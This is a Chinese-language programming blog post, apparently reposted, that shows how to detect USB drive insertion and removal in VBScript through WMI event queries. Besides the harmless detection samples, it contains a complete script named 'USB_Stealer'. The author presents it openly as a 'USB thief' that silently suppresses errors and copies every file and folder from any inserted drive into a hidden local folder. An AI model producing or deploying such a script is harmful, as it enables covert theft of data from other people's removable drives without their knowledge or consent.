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用VBS检测U盘插入与弹出事件的代码

2020-06-26 18:25:15
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貌似网上很多人问怎么用VBS检测U盘插入和弹出,其实这很容易实现,WMI赋予了VBS十分强大的功能。
 
可以说,对WMI的掌握程度的多少直接决定了你的VBS水平高低。看过网上普遍流传VBS版U盘小偷程序,基本上都是靠无限循环实现的,一点技术含量也没有,文章的末尾给出了我写的VBS版U盘小偷程序的下载地址。虽然用WMI也得无限循环,但是效率是不一样的。

使用WMI的Win32_VolumeChangeEvent类就可以实现,下面是示例代码,更详细的信息请参考MSND文档。

复制代码代码如下:

Const Configuration_Changed = 1 
Const Device_Arrival = 2 
Const Device_Removal = 3 
Const Docking = 4 
strComputer = "." 
Set objWMIService = GetObject("winmgmts:" _ 
& "{impersonationLevel=impersonate}!//" _ 
& strComputer & "/root/cimv2") 
Set colMonitoredEvents = objWMIService. _ 
ExecNotificationQuery( _ 
"Select * from Win32_VolumeChangeEvent") 
Do 
Set objLatestEvent = colMonitoredEvents.NextEvent 
Select Case objLatestEvent.EventType 
Case Device_Arrival 
WScript.Echo "U盘插入,盘符为" & _ 
objLatestEvent.DriveName 
Case Device_Removal 
WScript.Echo "U盘弹出,盘符为" & _ 
objLatestEvent.DriveName 
End Select 
Loop

我也写了一个U盘小偷程序,自以为比网上抄来抄去的代码要好,感兴趣的可以下载来看看。 
复制代码代码如下:

'========================================== 
'Name : USB_Stealer 
'Date : 2010/5/25 
'Author : Demon 
'Copyright : Copyright (c) 2010 Demon 
'E-Mail : still.demon@gmail.com 
'QQ : 380401911 
'Website : http://demon.tw 
'========================================== 
'Option Explicit 
On Error Resume Next 
Const Target_Folder = "C:/USB" 

Call Main() 

Sub Main() 
On Error Resume Next 
Const Device_Arrival = 2 
Const Device_Removal = 3 
Const strComputer = "." 
Dim objWMIService, colMonitoredEvents, objLatestEvent 

Set objWMIService = GetObject("winmgmts:" _ 
& "{impersonationLevel=impersonate}!//" _ 
& strComputer & "/root/cimv2") 
Set colMonitoredEvents = objWMIService. _ 
ExecNotificationQuery( _ 
"Select * from Win32_VolumeChangeEvent") 
Do 
Set objLatestEvent = colMonitoredEvents.NextEvent 
Select Case objLatestEvent.EventType 
Case Device_Arrival 
Copy_File objLatestEvent.DriveName 
End Select 
Loop 
End Sub 

Sub Copy_File(Folder_Path) 
On Error Resume Next 
Dim fso,file,folder 
Set fso = CreateObject("scripting.filesystemobject") 

If Not fso.FolderExists(Target_Folder) Then 
fso.CreateFolder(Target_Folder) 
End If 

For Each file In fso.GetFolder(Folder_Path).Files 
file.Copy Target_Folder & "/" & file.Name,True 
Next 

For Each folder In fso.GetFolder(Folder_Path).SubFolders 
folder.Copy Target_Folder & "/" & folder.Name,True 
Next 
End Sub

鉴于很多人反映之前写的那篇在XP下无效,做了一下修改。说是修改,其实是直接复制粘贴脚本专家的代码。 
复制代码代码如下:

strComputer = "." 
Set objWMIService = GetObject("winmgmts://" & strComputer & "/root/cimv2") 

Set colEvents = objWMIService.ExecNotificationQuery _ 
("Select * From __InstanceOperationEvent Within 10 Where " _ 
& "TargetInstance isa 'Win32_LogicalDisk'") 

Do While True 
Set objEvent = colEvents.NextEvent 
If objEvent.TargetInstance.DriveType = 2 Then 
Select Case objEvent.Path_.Class 
Case "__InstanceCreationEvent" 
Wscript.Echo "Drive " & objEvent.TargetInstance.DeviceId & _ 
" has been added." 
Case "__InstanceDeletionEvent" 
Wscript.Echo "Drive " & objEvent.TargetInstance.DeviceId & _ 
" has been removed." 
End Select 
End If 
Loop 

参考链接:How Can I Determine When a Removable Drive Gets Connected?
大家应该可以看出学习vbs的好地方是哪了, 学习vbs官方的网站不得不去,脚本之家很多的vbs相关的教材都是来自微软官方的脚本专栏。
原文:http://demon.tw/programming/vbs-usb-insert-remove.html

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